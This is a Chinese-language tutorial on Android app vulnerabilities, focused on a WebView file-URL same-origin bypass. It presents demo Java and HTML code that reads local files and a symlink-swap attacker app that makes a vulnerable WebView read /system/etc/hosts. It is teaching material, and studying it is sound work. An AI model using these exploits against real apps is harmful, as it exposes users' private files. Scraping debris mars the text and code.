APP漏洞之WebView File域同源策略繞過漏洞

i春秋做家:MAX丶html

基本知識Android架構前端

  • Kernel內核層 
    漏洞危害極大,通用性強 
    驅動因爲多而雜,也可能存在很多漏洞
  • Libaries系統運行庫層
  • FrameWork應用框架層 
    提供一系列的服務和API的接口java

    • 活動管理器
    • 內容提供器
    • 視圖
    • 資源管理器
    • 通知管理器
  • Application應用層android

    • 系統應用 
      主屏幕Home、聯繫人Contact、電話Phone、瀏覽器Browser
    • 其餘應用 
      開發者使用應用程序框架層的API實現的程序

Andoroid經常使用組件git

  • Acitivity活動
  • Service服務
  • BroadcastRecviver廣播接收器
  • ContentProvider內容提供器

Android App常見漏洞     (OWASP Mobile Top 10)平臺使用不當github

  • 概述 
    平臺功能的濫用,或未能使用平臺的安全控制。如Intent誤用、權限誤用等web

  • 風險 
    很普遍,可能涉及移動平臺各個服務數據庫

  • 舉例 
    iOS系統中,將密碼數據存放在本地文件而沒有存放在密鑰鏈中,致使能夠從僞加密的備份數據中讀取 
    Android系統中,Intent使用不當致使惡意用戶劫持修改intent的內容,以原進程的身份權限執行任意動做瀏覽器

  • 不安全的數據存儲安全

  • 不安全的通訊

典型漏洞及挖掘方法數據存儲漏洞

  • 數據文件或目錄

    • SharedPreferences 
      data/data/程序包名/shared_prefs/*.xml
      • 建立配置文件時沒有使用MODE_PRIVATE模式,致使其餘程序能夠讀取配置文件
      • 明文存儲,而root用戶可讀,致使敏感數據泄露
    • SQLiteDatabases 
      data/data程序包名/database/*.db

       

      • 建立數據庫時沒有使用MODE_PRIVATE模式
    • InternalStorage 
      data/data/程序報名/files/*

       

      • MODE_PRIVATE
      • 明文存儲
    • ExternalStorage 
      /mnt/sdcard/*
      • 明文存儲

       

  • 檢測方法
    • 瀏覽/data/data/包名目錄下的各個文件和目錄,檢查是否存在others用戶可讀的文件
    • 檢查配置文件、數據庫等是否存在明文敏感信息
  • 挖掘方法
    • 代碼檢測 
      檢查openFileOutput、getSharedPrefreences、openOrCreateDatabase等函數的mode參數是否爲MODE_PRIVATE(0×0000)

     

數據通訊漏洞

  • 使用HTTP等明文協議將敏感信息傳送至服務端
    • 經過局域網嗅探、惡意公共WIFI、惡意代理服務、DNS劫持等手段捕獲明文通訊,產生中間人攻擊
  • SSL證書弱校驗

     

    • APP中缺少對SSL證書的校驗 
      客戶端中應該實現X509TruestManager類,包括checkServerTrusted\checkClientTrusted\getInstance三個方法
    • 證書校驗失敗會致使異常,而後由應用程序對證書校驗異常進行處理
    • 未對服務器證書校驗會致使TLS中間人攻擊 
      使用HttpsURLConnection時,實現自定義HostnameVerifier過程當中未對主機名作驗證,則默認不檢查證書域名與站點名是否匹配。或者在設置HttpsURLConnection的HostnameVerifier時,將其設爲ALLOW_ALL_HOSTNAME_VERIIER則接受全部域名.
    • 攻擊方法
      • 開啓Fiddler的HTTPS解析功能,生成並導出自簽名證書,安裝到手機中
      • 開啓Fiddler代理,並容許遠程主機鏈接該代理
    • 挖掘方法
      • 搜索.method public checkServerTrusted
      • 定位.method和end method
      • 檢查是否存在return-void
      • 同理檢查verify(String, SSLSession)的返回值是否恆爲True、X509HostnameVerifier的參數是否爲ALLOW_ALLHOSTNAME_VERIFIER

       

  • SSL證書強校驗 
    可能經過Xp、Patch等方法繞過

     

組件暴露漏洞

  • Android:exported是四大組件中都有的一個屬性,用來表示是否支持其餘應用調用當前組件
  • 若是有intent-filter,默認值爲true;反之默認則爲false
  • exported導出組件的權限控制
  • 繞過認證
    • activity暴露後被第三方調用,可能在沒有密碼的狀況下登陸/重置密碼
  • 敏感信息泄露
    • recviver暴露後被第三方啓動,可能查看到調試等信息中包含的敏感信息
  • 越權行爲

     

    • 低權限程序經過調用高權限程序暴露的組件,執行高權限動做
  • 挖掘方法

     

    • 查看AndroidManifest.xml
    • 經過drozer的attacksurface工具進行安全評估

     

弱加密漏洞

  • 密碼硬編碼 
    反編譯、root查看等能夠取得
  • AES/DES弱加密 
    ECB模式容易受到分析或重放攻擊

WebView

主要包括三種漏洞:

  • 任意代碼執行
    • Android4.2之後,經過addJavascriptInterface註解的方法可被網頁中的java方法調用。若是未加過濾則可能存在漏洞
    • 挖掘方法:
      • 編寫遍歷對象的網頁,若是存在getClass方法則存在遠程代碼執行漏洞
      • fiddler的before腳本可讓任意webview訪問任意網頁時進行測試

       

  • 域控制不嚴格
    • WebView若是打開了對JavaScript的支持,同時未對file:///形式的URL作限制,則會致使coookie、私有文件、數據庫等敏感信息泄露
      • setAllowFileAccess
      • setAllowFileAccessFromFileURLs
      • setAllowUniversalAccessFromFileURLs(致使遠程泄露敏感信息)
      • 經過符號連接攻擊能夠訪問本地文件:不管怎麼限制,js都能訪問本文件的。而經過延時執行和將當前文件替換成指向指向其餘文件的軟鏈接就能夠讀取到被符號連接所指向的文件

       

  • 密碼明文存儲 
    當用戶選擇保存在WebViEW中輸入的用戶名和密碼時,則會被明文保存到app目錄下的data.db中 
    具備root權限的攻擊者能夠讀取

漏洞挖掘流程總結

  • 靜態分析 
    快速檢測,得到分析重點目標
    • 檢查AndroidManifest文件
    • 腳本分析Smali代碼
  • 動態分析 
    對疑似風險進行驗證和危害評估
    • 調試模式分析
    • 嘗試操做/漏洞驗證
    • drozer
    • 抓包分析數據及接口
  • 逆向分析 
    加密破解以及對邏輯和代碼的進一步分析
    • -

  • 自動化輔助系統
    • MobSF 包括前端web界面,
    • Marvin 包括前端web界面,部署麻煩
    • Inspeckage Xposed插件

 

今天咱們就來說講WebView 的漏洞

[Java] 純文本查看 複製代碼

?

 

示例代碼地址:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。

或者是個人github:https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1

代碼以下代碼主要區別在於此次加載的attack_file.html

public class MainActivity extends Activity {  

    private WebView webView;  

    private Uri mUri;  

    private String url;  

    String mUrl1 = 「file:///android_asset/html/attack_file.html」;  

    //String mUrl2 = 「file:///android_asset/html/test.html」;  

   

    @Override 

    protected void onCreate(Bundle savedInstanceState) {  

        super.onCreate(savedInstanceState);  

        setContentView(R.layout.activity_main);  

        webView = (WebView) findViewById(R.id.webview);  

        webView.getSettings().setJavaScriptEnabled(true);  

        webView.addJavascriptInterface(new JSInterface(), 「jsInterface」);  

        webView.getSettings().setAllowFileAccessFromFileURLs(true);  

        webView.setWebChromeClient(new WebChromeClient() {  

            @Override 

                public boolean onJsAlert(WebView view, String url, String message,JsResult result) {  

                //Required functionality here  

                return super.onJsAlert(view, url, message, result);  

            }  

        });  

        webView.loadUrl(mUrl1);  

    }  

       

       

    class JSInterface {  

        public String onButtonClick(String text) {  

            final String str = text;  

            runOnUiThread(new Runnable() {  

                @Override 

                public void run() {  

                    Log.e(「leehong2″, 「onButtonClick: text = 」 + str);  

                    Toast.makeText(getApplicationContext(), 「onButtonClick: text = 」 + str, Toast.LENGTH_LONG).show();  

                }  

            });  

               

            return 「This text is returned from Java layer.  js text = 」 + text;  

        }  

           

        public void onImageClick(String url, int width, int height) {  

            final String str = 「onImageClick: text = 」 + url + 「  width = 」 + width + 「  height = 」 + height;  

            Log.i(「leehong2″, str);  

            runOnUiThread(new Runnable() {  

                @Override 

                public void run() {  

                    Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();  

                }  

            });  

        }  

    }  

   

}

這裏webView.getSettings().setAllowFileAccessFromFileURLs(true),標示能夠經過javaScript訪問file文件。

   咱們再來看attack_file.html的代碼:‘

<font style=」color:rgb(79, 79, 79)」><font face=」&quot;」><font style=」font-size:16px」><html>  

<body>  

<script>  

function stealFile()  

{  

    var file = 「file:///mnt/sdcard/233.txt」;  

    var xmlHttpReq = new XMLHttpRequest();  

    xmlHttpReq.onreadystatechange = function(){  

        if(xmlHttpReq.readyState == 4){  

            alert(xmlHttpReq.responseText);  

        }  

    }  

   

xmlHttpReq.open(「GET」, file);  

xmlHttpReq.send(null);  

}  

stealFile();  

</script>  

</body>  

</html>  </font></font></font>

 

因爲setAllowFileAccessFromFileURLs爲true,因此webView.load這個html能夠返回/mnt/sdcard/2333.txt的值。

若是setAllowFileAccessFromFileURLs爲false,webView.load這個html不能夠返回/mnt/sdcard/2333.txt的值。

即便setAllowFileAccessFromFileURLs爲false,咱們經過一種方式也能夠跨過這個限制,這個我下一次講講.

  首先運行WebViewFileDemo1,而後再運行AttackWebView來襲擊WebView。   

 

    咱們首先看WebViewFileDemo1,主要代碼以下:

<font face=」&quot;」><font style=」font-size:16px」>package com.example.webviewfiledemo; [/size][/font][/p]  

import android.app.Activity;  

import android.content.Intent;  

import android.net.Uri;  

import android.os.Bundle;  

import android.util.Log;  

import android.webkit.JsResult;  

import android.webkit.WebChromeClient;  

import android.webkit.WebView;  

import android.widget.Toast;  

   

public class MainActivity extends Activity {  

    private WebView webView;  

    private Uri mUri;  

    private String url;  

   

    @Override 

    protected void onCreate(Bundle savedInstanceState) {  

        super.onCreate(savedInstanceState);  

        setContentView(R.layout.activity_main);  

        webView = (WebView) findViewById(R.id.webview);  

        webView.getSettings().setJavaScriptEnabled(true);  

        webView.addJavascriptInterface(new JSInterface(), 「jsInterface」);  

        webView.getSettings().setAllowFileAccessFromFileURLs(false);  

        //webView.getSettings().setAllowFileAccess(false);  

        webView.setWebChromeClient(new WebChromeClient() {  

            @Override 

                public boolean onJsAlert(WebView view, String url, String message,JsResult result) {  

                //Required functionality here  

                return super.onJsAlert(view, url, message, result);  

            }  

        });  

           

        Intent i = getIntent();  

        if (i != null) {  

            mUri = i.getData();  

        }  

        if (mUri != null) {  

            url = mUri.toString();  

        }  

        if (url != null) {  

            webView.loadUrl(url);  

        }  

    }  

   

}  </font></font>

 

這個Activity接收來自外部的Intent,提取Intent裏面的url並加載。

 

接着咱們來看AttackWebView工程,這裏就是向com.example.webviewfiledemo.MainActivity發送Intent的工程。代碼以下:

public class MainActivity extends Activity {  

    public final static String HTML =   

            「<body>」 +  

            「<u>Wait a few seconds.</u>」 +   

            「<script>」 +  

            「var d = document;」+  

            「function doitjs(){「+  

            「var xhr = new XMLHttpRequest;」+  

            「xhr.onload = function(){「+  

            「var txt = xhr.responseText;」+  

            「d.body.appendChild(d.createTextNode(txt));」+  

            「alert(txt);」+」};」+  

            「xhr.open(‘GET’,d.URL);」+  

            「xhr.send(null);」+  

            「}」+  

            「setTimeout(doitjs,8000);」+  

            「</script>」+  

            「</body>」;  

       

    public static String MY_TMP_DIR;  

   

    @Override 

    protected void onCreate(Bundle savedInstanceState) {  

        super.onCreate(savedInstanceState);  

        setContentView(R.layout.activity_main);  

        MY_TMP_DIR = getDir(「payload_odex」, MODE_PRIVATE).getAbsolutePath();  

        doit();  

    }  

       

    public void doit() {  

        String HTML_PATH = MY_TMP_DIR + 「/A0″ + 「.html」;  

        try {  

            cmdexec(「mkdir 」 + MY_TMP_DIR);  

            cmdexec(「echo \」" + HTML + 「\」 > 」 + HTML_PATH);  

            cmdexec(「chmod -R 777 」 + MY_TMP_DIR);  

            Thread.sleep(1000);  

            invokeVulnAPP(「file://」 + HTML_PATH);  

            Thread.sleep(6000);  

            cmdexec(「rm 」 + HTML_PATH);  

            cmdexec(「ln -s 」 + 「/system/etc/hosts」 + 」 」 + HTML_PATH);  

        } catch (Exception e) {  

            // TODO: handle exception  

        }  

   

    }  

   

    public void invokeVulnAPP(String url) {  

        try {  

            Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));  

            intent.addCategory(Intent.CATEGORY_LAUNCHER);   

            intent.setClassName(「com.example.webviewfiledemo」, 「com.example.webviewfiledemo.MainActivity」);  

            startActivity(intent);  

        } catch (Exception e) {  

            // TODO: handle exception  

        }  

    }  

   

    public void cmdexec(String cmd) {  

        try {  

            String[] tmp = new String[] { 「/system/bin/sh」, 「-c」, cmd };  

            Runtime.getRuntime().exec(tmp);  

        } catch (Exception e) {  

            // TODO: handle exception  

        }  

    }  

       

}

經過invokeVulnAPP,打開了com.example.webviewfiledemo.MainActivity並傳遞了Intent。這個Activity提取了Url,Url爲/sdcard/payload_odex/A0.html,webView加載了這個html,html內容以下:

public final static String HTML =   

        「<body>」 +  

        「<u>Wait a few seconds.</u>」 +   

        「<script>」 +  

        「var d = document;」+  

        「function doitjs(){「+  

        「var xhr = new XMLHttpRequest;」+  

        「xhr.onload = function(){「+  

        「var txt = xhr.responseText;」+  

        「d.body.appendChild(d.createTextNode(txt));」+  

        「alert(txt);」+」};」+  

        「xhr.open(‘GET’,d.URL);」+  

        「xhr.send(null);」+  

        「}」+  

        「setTimeout(doitjs,8000);」+  

        「</script>」+  

        「</body>」;

當WebViewFileDemo1工程中webView加載A0.html後,這個html的做用是延遲8秒讀取A0.html自己。咱們再回到AttackWebView工程,往下看代碼。

cmdexec(「mkdir 」 + MY_TMP_DIR); 

            cmdexec(「echo \」" + HTML + 「\」 > 」 + HTML_PATH);   cmdexec(「chmod -R 777 」 + MY_TMP_DIR);  

            Thread.sleep(1000);  

            invokeVulnAPP(「file://」 + HTML_PATH);  

            Thread.sleep(6000);  

            cmdexec(「rm 」 + HTML_PATH);  

            cmdexec(「ln -s 」 + 「/system/etc/hosts」 + 」 」 + HTML_PATH);

調用完invokeVulnAPP後,6秒後,咱們首先把A0.html刪除,而後再從新軟鏈接到/system/etc/hosts。注意此時當WebViewFileDemo1工程中webView加載A0.html,這個html的做用是延遲8秒讀取A0.html自己,因此8秒後讀取的是軟鏈接/system/etc/hosts 。

相關文章
相關標籤/搜索